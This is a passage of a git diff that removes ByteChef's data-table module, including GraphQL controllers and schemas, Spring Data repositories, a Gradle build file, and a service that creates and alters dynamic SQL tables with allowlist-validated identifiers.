-    public boolean updateDataTableTags(@Argument UpdateDataTableTagsInput input) {
-        List<Tag> tags = input.tags() == null ? List.of() : input.tags()
-            .stream()
-            .map(tagInput -> {
-                Tag tag = new Tag();
-
-                if (tagInput.id() != null) {
-                    tag.setId(tagInput.id());
-                }
-
-                tag.setName(tagInput.name());
-
-                return tag;
-            })
-            .collect(Collectors.toList());
-
-        dataTableTagService.updateTags(input.tableId(), tags);
-
-        return true;
-    }
-
-    public record DataTableTagsEntry(Long tableId, List<Tag> tags) {
-    }
-
-    public record UpdateDataTableTagsInput(Long tableId, List<TagInput> tags) {
-    }
-
-    public record TagInput(Long id, String name) {
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/java/com/bytechef/automation/data/table/web/graphql/DataTableWebhookGraphQlController.java b/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/java/com/bytechef/automation/data/table/web/graphql/DataTableWebhookGraphQlController.java
deleted file mode 100644
index 2e4ecdc567f..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/java/com/bytechef/automation/data/table/web/graphql/DataTableWebhookGraphQlController.java
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.web.graphql;
-
-import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
-import com.bytechef.automation.data.table.configuration.domain.DataTableWebhookType;
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.data.table.configuration.service.DataTableWebhookService;
-import com.bytechef.platform.configuration.service.EnvironmentService;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.QueryMapping;
-import org.springframework.stereotype.Controller;
-
-/**
- * @author Ivica Cardic
- */
-@Controller
-@ConditionalOnCoordinator
-@SuppressFBWarnings("EI")
-public class DataTableWebhookGraphQlController {
-
-    private final DataTableService dataTableService;
-    private final DataTableWebhookService dataTableWebhookService;
-    private final EnvironmentService environmentService;
-
-    public DataTableWebhookGraphQlController(
-        DataTableService dataTableService, DataTableWebhookService dataTableWebhookService,
-        EnvironmentService environmentService) {
-
-        this.dataTableService = dataTableService;
-        this.dataTableWebhookService = dataTableWebhookService;
-        this.environmentService = environmentService;
-    }
-
-    @QueryMapping
-    public List<Webhook> dataTableWebhooks(@Argument Long environmentId, @Argument Long tableId) {
-        environmentService.getEnvironment(environmentId);
-
-        String baseName = dataTableService.getBaseNameById(tableId);
-
-        return dataTableWebhookService.listWebhooks(baseName, environmentId)
-            .stream()
-            .map(webhook -> new Webhook(webhook.id(), webhook.url(), webhook.type(), webhook.environmentId()))
-            .toList();
-    }
-
-    public record Webhook(Long id, String url, DataTableWebhookType type, long environmentId) {
-    }
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/resources/graphql/data-table-row.graphqls b/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/resources/graphql/data-table-row.graphqls
deleted file mode 100644
index 65d6c7d7e15..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/resources/graphql/data-table-row.graphqls
+++ /dev/null
@@ -1,48 +0,0 @@
-extend type Query {
-    dataTableRows(environmentId: ID!, tableId: ID!): [DataTableRow!]!
-    dataTableRowsPage(environmentId: ID!, tableId: ID!, limit: Int, offset: Int): DataTableRowPage!
-    exportDataTableCsv(environmentId: ID!, tableId: ID!): String!
-}
-
-extend type Mutation {
-    insertDataTableRow(input: InsertRowInput!): DataTableRow!
-    updateDataTableRow(input: UpdateRowInput!): DataTableRow!
-    deleteDataTableRow(input: DeleteRowInput!): Boolean!
-    importDataTableCsv(input: ImportCsvInput!): Boolean!
-}
-
-type DataTableRow {
-    id: ID!
-    values: Map!
-}
-
-type DataTableRowPage {
-    items: [DataTableRow!]!
-    hasMore: Boolean!
-    nextOffset: Int
-}
-
-input InsertRowInput {
-    environmentId: ID!
-    tableId: ID!
-    values: Map!
-}
-
-input UpdateRowInput {
-    environmentId: ID!
-    tableId: ID!
-    id: ID!
-    values: Map!
-}
-
-input DeleteRowInput {
-    environmentId: ID!
-    tableId: ID!
-    id: ID!
-}
-
-input ImportCsvInput {
-    environmentId: ID!
-    tableId: ID!
-    csv: String!
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/resources/graphql/data-table.graphqls b/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/resources/graphql/data-table.graphqls
deleted file mode 100644
index f2ca0d4deb0..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-graphql/src/main/resources/graphql/data-table.graphqls
+++ /dev/null
@@ -1,112 +0,0 @@
-extend type Query {
-    dataTables(environmentId: ID!, workspaceId: ID!): [DataTable!]!
-    dataTableTags: [Tag!]!
-    dataTableTagsByTable: [DataTableTagsEntry!]!
-    dataTableWebhooks(environmentId: ID!, tableId: ID!): [DataTableWebhook!]!
-}
-
-extend type Mutation {
-    createDataTable(input: CreateDataTableInput!): Boolean!
-    addDataTableColumn(input: AddColumnInput!): Boolean!
-    removeDataTableColumn(input: RemoveColumnInput!): Boolean!
-    renameDataTableColumn(input: RenameColumnInput!): Boolean!
-    dropDataTable(input: RemoveTableInput!): Boolean!
-    renameDataTable(input: RenameDataTableInput!): Boolean!
-    duplicateDataTable(input: DuplicateDataTableInput!): Boolean!
-    updateDataTableTags(input: UpdateDataTableTagsInput!): Boolean!
-}
-
-type DataTable {
-    id: ID!
-    baseName: String!
-    description: String
-    columns: [DataTableColumn!]!
-    lastModifiedDate: Long
-}
-
-type DataTableColumn {
-    id: ID!
-    name: String!
-    type: ColumnType!
-}
-
-type DataTableTagsEntry {
-    tableId: ID!
-    tags: [Tag!]!
-}
-
-enum ColumnType {
-    STRING
-    NUMBER
-    INTEGER
-    DATE
-    DATE_TIME
-    BOOLEAN
-}
-
-input CreateDataTableInput {
-    environmentId: ID!
-    baseName: String!
-    description: String
-    columns: [ColumnInput!]!
-    workspaceId: ID!
-}
-
-input ColumnInput {
-    name: String!
-    type: ColumnType!
-}
-
-input AddColumnInput {
-    environmentId: ID!
-    tableId: ID!
-    column: ColumnInput!
-}
-
-input RemoveColumnInput {
-    environmentId: ID!
-    tableId: ID!
-    columnId: ID!
-}
-
-input RenameColumnInput {
-    environmentId: ID!
-    tableId: ID!
-    columnId: ID!
-    newName: String!
-}
-
-input RemoveTableInput {
-    environmentId: ID!
-    tableId: ID!
-}
-
-input RenameDataTableInput {
-    environmentId: ID!
-    tableId: ID!
-    newBaseName: String!
-}
-
-input DuplicateDataTableInput {
-    environmentId: ID!
-    tableId: ID!
-    newBaseName: String!
-}
-
-input UpdateDataTableTagsInput {
-    tableId: ID!
-    tags: [TagInput!]
-}
-
-type DataTableWebhook {
-    id: ID!
-    url: String!
-    type: DataTableWebhookType!
-    environmentId: Long!
-}
-
-enum DataTableWebhookType {
-    RECORD_CREATED
-    RECORD_UPDATED
-    RECORD_DELETED
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-service/build.gradle.kts b/server/libs/automation/automation-data-table/automation-data-table-service/build.gradle.kts
deleted file mode 100644
index e28ebe50520..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-service/build.gradle.kts
+++ /dev/null
@@ -1,27 +0,0 @@
-dependencies {
-    implementation("de.siegmar:fastcsv:2.2.2")
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation("org.apache.commons:commons-lang3")
-    implementation("org.springframework:spring-context")
-    implementation("org.springframework:spring-web")
-    implementation("org.springframework.data:spring-data-jdbc")
-    implementation(project(":server:libs:automation:automation-data-table:automation-data-table-api"))
-    implementation(project(":server:libs:automation:automation-search:automation-search-api"))
-    implementation(project(":server:libs:core:commons:commons-util"))
-    implementation(project(":server:libs:platform:platform-configuration:platform-configuration-api"))
-    implementation(project(":server:libs:platform:platform-tag:platform-tag-api"))
-
-    testImplementation("org.junit.jupiter:junit-jupiter")
-    testImplementation("org.mockito:mockito-core")
-    testImplementation("org.mockito:mockito-junit-jupiter")
-    testImplementation("org.springframework.boot:spring-boot-starter-data-jdbc")
-    testImplementation("org.springframework.boot:spring-boot-starter-test")
-    testImplementation(project(":server:libs:automation:automation-configuration:automation-configuration-service"))
-    testImplementation(project(":server:libs:config:jackson-config"))
-    testImplementation(project(":server:libs:config:liquibase-config"))
-    testImplementation(project(":server:libs:core:commons:commons-data"))
-    testImplementation(project(":server:libs:platform:platform-category:platform-category-service"))
-    testImplementation(project(":server:libs:platform:platform-security:platform-security-service"))
-    testImplementation(project(":server:libs:platform:platform-tag:platform-tag-service"))
-    testImplementation(project(":server:libs:test:test-int-support"))
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/config/AutomationDataTableJdbcRepositoryConfiguration.java b/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/config/AutomationDataTableJdbcRepositoryConfiguration.java
deleted file mode 100644
index ee5192c765f..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/config/AutomationDataTableJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.configuration.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.automation.data.table.configuration.repository")
-class AutomationDataTableJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/repository/DataTableRepository.java b/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/repository/DataTableRepository.java
deleted file mode 100644
index 35f917dded8..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/repository/DataTableRepository.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.configuration.repository;
-
-import com.bytechef.automation.data.table.configuration.domain.DataTable;
-import java.util.Optional;
-import org.springframework.data.repository.CrudRepository;
-
-/**
- * @author Ivica Cardic
- */
-public interface DataTableRepository extends CrudRepository<DataTable, Long> {
-
-    Optional<DataTable> findByName(String name);
-
-    long deleteByName(String name);
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/repository/DataTableWebhookRepository.java b/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/repository/DataTableWebhookRepository.java
deleted file mode 100644
index ea464c3f40b..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/repository/DataTableWebhookRepository.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.configuration.repository;
-
-import com.bytechef.automation.data.table.configuration.domain.DataTableWebhook;
-import java.util.List;
-import org.springframework.data.repository.CrudRepository;
-
-/**
- * @author Ivica Cardic
- */
-public interface DataTableWebhookRepository extends CrudRepository<DataTableWebhook, Long> {
-    List<DataTableWebhook> findByDataTableId(Long dataTableId);
-
-    List<DataTableWebhook> findByDataTableIdAndEnvironment(Long dataTableId, int environment);
-
-    List<DataTableWebhook> findByDataTableIdAndType(Long dataTableId, int type);
-
-    List<DataTableWebhook> findByDataTableIdAndTypeAndEnvironment(Long dataTableId, int type, int environment);
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/repository/WorkspaceDataTableRepository.java b/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/repository/WorkspaceDataTableRepository.java
deleted file mode 100644
index 79d81063ae3..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/repository/WorkspaceDataTableRepository.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.configuration.repository;
-
-import com.bytechef.automation.data.table.configuration.domain.WorkspaceDataTable;
-import java.util.List;
-import org.springframework.data.repository.ListCrudRepository;
-
-/**
- * Repository for mapping workspaces to data tables.
- *
- * @author Ivica Cardic
- */
-public interface WorkspaceDataTableRepository extends ListCrudRepository<WorkspaceDataTable, Long> {
-
-    List<WorkspaceDataTable> findAllByWorkspaceId(Long workspaceId);
-
-    List<WorkspaceDataTable> findByDataTableId(Long dataTableId);
-
-    WorkspaceDataTable findByWorkspaceIdAndDataTableId(Long workspaceId, Long dataTableId);
-}
diff --git a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableServiceImpl.java b/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableServiceImpl.java
deleted file mode 100644
index c8a37698beb..00000000000
--- a/server/libs/automation/automation-data-table/automation-data-table-service/src/main/java/com/bytechef/automation/data/table/configuration/service/DataTableServiceImpl.java
+++ /dev/null
@@ -1,463 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.data.table.configuration.service;
-
-import com.bytechef.automation.data.table.configuration.domain.DataTable;
-import com.bytechef.automation.data.table.configuration.domain.DataTableInfo;
-import com.bytechef.automation.data.table.configuration.domain.WorkspaceDataTable;
-import com.bytechef.automation.data.table.configuration.repository.DataTableRepository;
-import com.bytechef.automation.data.table.configuration.repository.WorkspaceDataTableRepository;
-import com.bytechef.automation.data.table.domain.ColumnSpec;
-import com.bytechef.automation.data.table.domain.ColumnType;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Locale;
-import java.util.Objects;
-import java.util.Set;
-import java.util.stream.Collectors;
-import org.springframework.jdbc.core.JdbcTemplate;
-import org.springframework.stereotype.Service;
-import org.springframework.util.Assert;
-
-/**
- * @author Ivica Cardic
- */
-@Service
-public class DataTableServiceImpl implements DataTableService {
-
-    private final DataTableRepository dataTableRepository;
-    private final JdbcTemplate jdbcTemplate;
-    private final WorkspaceDataTableRepository workspaceDataTableRepository;
-
-    @SuppressFBWarnings("EI")
-    public DataTableServiceImpl(
-        DataTableRepository dataTableRepository, JdbcTemplate jdbcTemplate,
-        WorkspaceDataTableRepository workspaceDataTableRepository) {
-
-        this.dataTableRepository = dataTableRepository;
-        this.jdbcTemplate = jdbcTemplate;
-        this.workspaceDataTableRepository = workspaceDataTableRepository;
-    }
-
-    /**
-     * Adds a column to an existing data table.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL_INJECTION_SPRING_JDBC suppression is safe because all identifiers are validated
-     * through {@link #escapeIdentifier(String)} and {@link #validateBaseName(String)} which enforce a strict allowlist
-     * pattern {@code [a-z_][a-z0-9_]*}, preventing SQL injection.
-     */
-    @Override
-    @SuppressFBWarnings("SQL_INJECTION_SPRING_JDBC")
-    public void addColumn(String baseName, ColumnSpec columnSpec, long environmentId) {
-        validateBaseName(baseName);
-        Assert.notNull(columnSpec, "column must not be null");
-
-        String physicalName = buildPhysicalName(environmentId, baseName);
-
-        String sql = "ALTER TABLE " + escapeIdentifier(physicalName) + " ADD COLUMN " +
-            escapeIdentifier(columnSpec.name()) + " " + sqlType(columnSpec.type());
-
-        jdbcTemplate.execute(sql);
-    }
-
-    @Override
-    public void createTable(String baseName, List<ColumnSpec> columnSpecs, long environmentId) {
-        createTable(baseName, null, columnSpecs, environmentId);
-    }
-
-    /**
-     * Creates a new data table with the specified columns.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL_INJECTION_SPRING_JDBC suppression is safe because all identifiers are validated
-     * through {@link #escapeIdentifier(String)} and {@link #validateBaseName(String)} which enforce a strict allowlist
-     * pattern {@code [a-z_][a-z0-9_]*}, preventing SQL injection.
-     */
-    @Override
-    @SuppressFBWarnings("SQL_INJECTION_SPRING_JDBC")
-    public void createTable(
-        String baseName, String description, List<ColumnSpec> columnSpecs, long environmentId) {
-
-        validateBaseName(baseName);
-
-        Assert.notEmpty(columnSpecs, "columns must not be empty");
-
-        boolean hasId = columnSpecs.stream()
-            .anyMatch(c -> "id".equalsIgnoreCase(c.name()));
-
-        Assert.isTrue(!hasId, "Column name 'id' is reserved for primary key");
-
-        String userColsSql = columnSpecs.stream()
-            .map(columnSpec -> escapeIdentifier(columnSpec.name()) + " " + sqlType(columnSpec.type()))
-            .collect(Collectors.joining(", "));
-
-        String physicalName = buildPhysicalName(environmentId, baseName);
-
-        String sql = "CREATE TABLE " + escapeIdentifier(physicalName) + " (\"id\" BIGSERIAL PRIMARY KEY" +
-            (userColsSql.isEmpty() ? "" : ", " + userColsSql) + ")";
-
-        jdbcTemplate.execute(sql);
-
-        checkRegistry(baseName, description);
-    }
-
-    @Override
-    public void createTable(long workspaceId, String baseName, List<ColumnSpec> columnSpecs, long environmentId) {
-        createTable(baseName, null, columnSpecs, workspaceId, environmentId);
-    }
-
-    @Override
-    public void createTable(
-        String baseName, String description, List<ColumnSpec> columnSpecs, long workspaceId, long environmentId) {
-
-        createTable(baseName, description, columnSpecs, environmentId);
-
-        long id = getIdByBaseName(baseName);
-
-        WorkspaceDataTable existingWorkspaceDataTable = workspaceDataTableRepository.findByWorkspaceIdAndDataTableId(
-            workspaceId, id);
-
-        if (existingWorkspaceDataTable == null) {
-            workspaceDataTableRepository.save(new WorkspaceDataTable(id, workspaceId));
-        }
-    }
-
-    /**
-     * Drops an existing data table.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL_INJECTION_SPRING_JDBC suppression is safe because all identifiers are validated
-     * through {@link #escapeIdentifier(String)} and {@link #validateBaseName(String)} which enforce a strict allowlist
-     * pattern {@code [a-z_][a-z0-9_]*}, preventing SQL injection.
-     */
-    @Override
-    @SuppressFBWarnings("SQL_INJECTION_SPRING_JDBC")
-    public void dropTable(String baseName, long environmentId) {
-        validateBaseName(baseName);
-
-        String physicalName = buildPhysicalName(environmentId, baseName);
-
-        String sql = "DROP TABLE IF EXISTS " + escapeIdentifier(physicalName);
-
-        jdbcTemplate.execute(sql);
-
-        dataTableRepository.findByName(baseName)
-            .ifPresent(dataTable -> {
-                List<WorkspaceDataTable> workspaceDataTables =
-                    workspaceDataTableRepository.findByDataTableId(dataTable.getId());
-
-                workspaceDataTableRepository.deleteAll(workspaceDataTables);
-            });
-
-        dataTableRepository.deleteByName(baseName);
-    }
-
-    /**
-     * Duplicates an existing data table to a new table.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL_INJECTION_SPRING_JDBC suppression is safe because all identifiers are validated
-     * through {@link #escapeIdentifier(String)} and {@link #validateBaseName(String)} which enforce a strict allowlist
-     * pattern {@code [a-z_][a-z0-9_]*}, preventing SQL injection.
-     */
-    @Override
-    @SuppressFBWarnings("SQL_INJECTION_SPRING_JDBC")
-    public void duplicateTable(String fromBaseName, String toBaseName, long environmentId) {
-        validateBaseName(fromBaseName);
-        validateBaseName(toBaseName);
-
-        String fromPhysicalName = buildPhysicalName(environmentId, fromBaseName);
-        String toPhysicalName = buildPhysicalName(environmentId, toBaseName);
-
-        List<ColumnSpec> columnSpecs = listColumns(fromPhysicalName)
-            .stream()
-            .filter(columnSpec -> !"id".equalsIgnoreCase(columnSpec.name()))
-            .toList();
-
-        String userColumnsSql = columnSpecs.stream()
-            .map(columnSpec -> escapeIdentifier(columnSpec.name()) + " " + sqlType(columnSpec.type()))
-            .collect(Collectors.joining(", "));
-
-        String createSql = "CREATE TABLE " + escapeIdentifier(toPhysicalName) +
-            " (\"id\" BIGSERIAL PRIMARY KEY" + (userColumnsSql.isEmpty() ? "" : ", " + userColumnsSql) + ")";
-
-        jdbcTemplate.execute(createSql);
-
-        if (!columnSpecs.isEmpty()) {
-            String columnList = columnSpecs.stream()
-                .map(columnSpec -> escapeIdentifier(columnSpec.name()))
-                .collect(Collectors.joining(", "));
-
-            String insertSql = "INSERT INTO " + escapeIdentifier(toPhysicalName) + " (" + columnList + ") SELECT " +
-                columnList + " FROM " + escapeIdentifier(fromPhysicalName);
-
-            jdbcTemplate.execute(insertSql);
-        }
-
-        checkRegistry(toBaseName, null);
-    }
-
-    @Override
-    public String getBaseNameById(long id) {
-        DataTable dataTable = dataTableRepository.findById(id)
-            .orElseThrow(() -> new IllegalArgumentException("Data table with id=" + id + " not found"));
-
-        return dataTable.getName();
-    }
-
-    @Override
-    public long getIdByBaseName(String baseName) {
-        DataTable dataTable = dataTableRepository.findByName(baseName)
-            .orElse(null);
-
-        if (dataTable != null && dataTable.getId() != null) {
-            return dataTable.getId();
-        }
-
-        return checkRegistry(baseName, null);
-    }
-
-    @Override
-    public List<DataTableInfo> listTables(long environmentId) {
-        String prefix = "dt_" + environmentId + "_";
-
-        String sqlTables = "SELECT table_name FROM information_schema.tables "
-            + "WHERE table_schema = current_schema() AND table_type = 'BASE TABLE' AND table_name LIKE ?";
-
-        List<String> tableNames = jdbcTemplate.query(sqlTables, ps -> ps.setString(1, prefix + "%"),
-            (rs, rowNum) -> rs.getString("table_name"));
-
-        List<DataTableInfo> dataTableInfos = new ArrayList<>();
-
-        for (String tableName : tableNames) {
-            if (!tableName.startsWith(prefix)) {
-                continue;
-            }
-
-            String baseName = tableName.substring(prefix.length());
-
-            List<ColumnSpec> columnSpecs = listColumns(tableName)
-                .stream()
-                .filter(columnSpec -> !"id".equalsIgnoreCase(columnSpec.name()))
-                .toList();
-            DataTable dataTable = dataTableRepository.findByName(baseName)
-                .orElse(null);
-
-            Long id;
-            String description;
-
-            if (dataTable == null) {
-                id = checkRegistry(baseName, null);
-
-                dataTableInfos.add(new DataTableInfo(id, baseName, null, columnSpecs, null));
-
-                continue;
-            } else {
-                id = dataTable.getId();
-                description = dataTable.getDescription();
-            }
-
-            dataTableInfos.add(
-                new DataTableInfo(id, baseName, description, columnSpecs, dataTable.getLastModifiedDate()));
-        }
-
-        return dataTableInfos;
-    }
-
-    @Override
-    public List<DataTableInfo> listTables(long workspaceId, long environmentId) {
-        List<DataTableInfo> dataTableInfos = listTables(environmentId);
-        Set<Long> dataTableIds = workspaceDataTableRepository.findAllByWorkspaceId(workspaceId)
-            .stream()
-            .map(WorkspaceDataTable::getDataTableId)
-            .filter(Objects::nonNull)
-            .collect(Collectors.toSet());
-
-        return dataTableInfos.stream()
-            .filter(info -> info.id() != null && dataTableIds.contains(info.id()))
-            .toList();
-    }
-
-    /**
-     * Removes a column from an existing data table.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL_INJECTION_SPRING_JDBC suppression is safe because all identifiers are validated
-     * through {@link #escapeIdentifier(String)} and {@link #validateBaseName(String)} which enforce a strict allowlist
-     * pattern {@code [a-z_][a-z0-9_]*}, preventing SQL injection.
-     */
-    @Override
-    @SuppressFBWarnings("SQL_INJECTION_SPRING_JDBC")
-    public void removeColumn(String baseName, String columnName, long environmentId) {
-        validateBaseName(baseName);
-        Assert.hasText(columnName, "columnName must not be empty");
-
-        String physicalName = buildPhysicalName(environmentId, baseName);
-
-        String sql = "ALTER TABLE " + escapeIdentifier(physicalName) + " DROP COLUMN " + escapeIdentifier(columnName);
-
-        jdbcTemplate.execute(sql);
-    }
-
-    /**
-     * Renames a column in an existing data table.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL_INJECTION_SPRING_JDBC suppression is safe because all identifiers are validated
-     * through {@link #escapeIdentifier(String)} and {@link #validateBaseName(String)} which enforce a strict allowlist
-     * pattern {@code [a-z_][a-z0-9_]*}, preventing SQL injection.
-     */
-    @Override
-    @SuppressFBWarnings("SQL_INJECTION_SPRING_JDBC")
-    public void renameColumn(String baseName, String fromColumnName, String toColumnName, long environmentId) {
-        validateBaseName(baseName);
-        Assert.hasText(fromColumnName, "fromColumnName must not be empty");
-        Assert.hasText(toColumnName, "toColumnName must not be empty");
-        Assert.isTrue(!"id".equalsIgnoreCase(fromColumnName), "Column 'id' cannot be renamed");
-        Assert.isTrue(!"id".equalsIgnoreCase(toColumnName), "Cannot rename to reserved name 'id'");
-
-        String physicalName = buildPhysicalName(environmentId, baseName);
-
-        String sql = "ALTER TABLE " + escapeIdentifier(physicalName) + " RENAME COLUMN " +
-            escapeIdentifier(fromColumnName) + " TO " + escapeIdentifier(toColumnName);
-
-        jdbcTemplate.execute(sql);
-    }
-
-    /**
-     * Renames an existing data table.
-     *
-     * <p>
-     * <b>Security Note:</b> The SQL_INJECTION_SPRING_JDBC suppression is safe because all identifiers are validated
-     * through {@link #escapeIdentifier(String)} and {@link #validateBaseName(String)} which enforce a strict allowlist
-     * pattern {@code [a-z_][a-z0-9_]*}, preventing SQL injection.
-     */
-    @Override
-    @SuppressFBWarnings("SQL_INJECTION_SPRING_JDBC")
-    public void renameTable(String fromBaseName, String toBaseName, long environmentId) {
-        validateBaseName(fromBaseName);
-        validateBaseName(toBaseName);
-
-        String fromPhysicalName = buildPhysicalName(environmentId, fromBaseName);
-        String toPhysicalName = buildPhysicalName(environmentId, toBaseName);
-
-        String sql = "ALTER TABLE " + escapeIdentifier(fromPhysicalName) + " RENAME TO " +
-            escapeIdentifier(toPhysicalName);
-
-        jdbcTemplate.execute(sql);
-
-        DataTable dataTable = dataTableRepository.findByName(fromBaseName)
-            .orElseThrow(() -> new IllegalArgumentException("Data table '" + fromBaseName + "' not found"));
-
-        dataTable.setName(toBaseName);
-
-        dataTableRepository.save(dataTable);
-    }
-
-    private String buildPhysicalName(long environmentId, String baseName) {
-        String normalizedBaseName = baseName.toLowerCase(Locale.ROOT);
-
-        return "dt_" + environmentId + "_" + normalizedBaseName;
-    }
-
-    private long checkRegistry(String baseName, String description) {
-        Assert.hasText(baseName, "baseName required");
-
-        return dataTableRepository.findByName(baseName)
-            .map(DataTable::getId)
-            .orElseGet(() -> {
-                DataTable dataTable = new DataTable(null, baseName);
-
-                dataTable.setDescription(description);
-
-                DataTable savedDataTable = dataTableRepository.save(dataTable);
-
-                return Objects.requireNonNull(savedDataTable.getId());
-            });
-    }
-
-    private String escapeIdentifier(String identifier) {
-        Assert.hasText(identifier, "identifier must not be empty");
-
-        String normalized = identifier.toLowerCase(Locale.ROOT);
-
-        Assert.isTrue(normalized.matches("[a-z_][a-z0-9_]*"), "Invalid identifier: " + identifier);
-
-        return '"' + normalized + '"';
-    }
-
-    private List<ColumnSpec> listColumns(String physicalName) {
-        String sql = "SELECT column_name, data_type FROM information_schema.columns " +
-            "WHERE table_schema = current_schema() AND table_name = ? ORDER BY ordinal_position";
-
-        return jdbcTemplate.query(sql, ps -> ps.setString(1, physicalName), (rs, rowNum) -> {
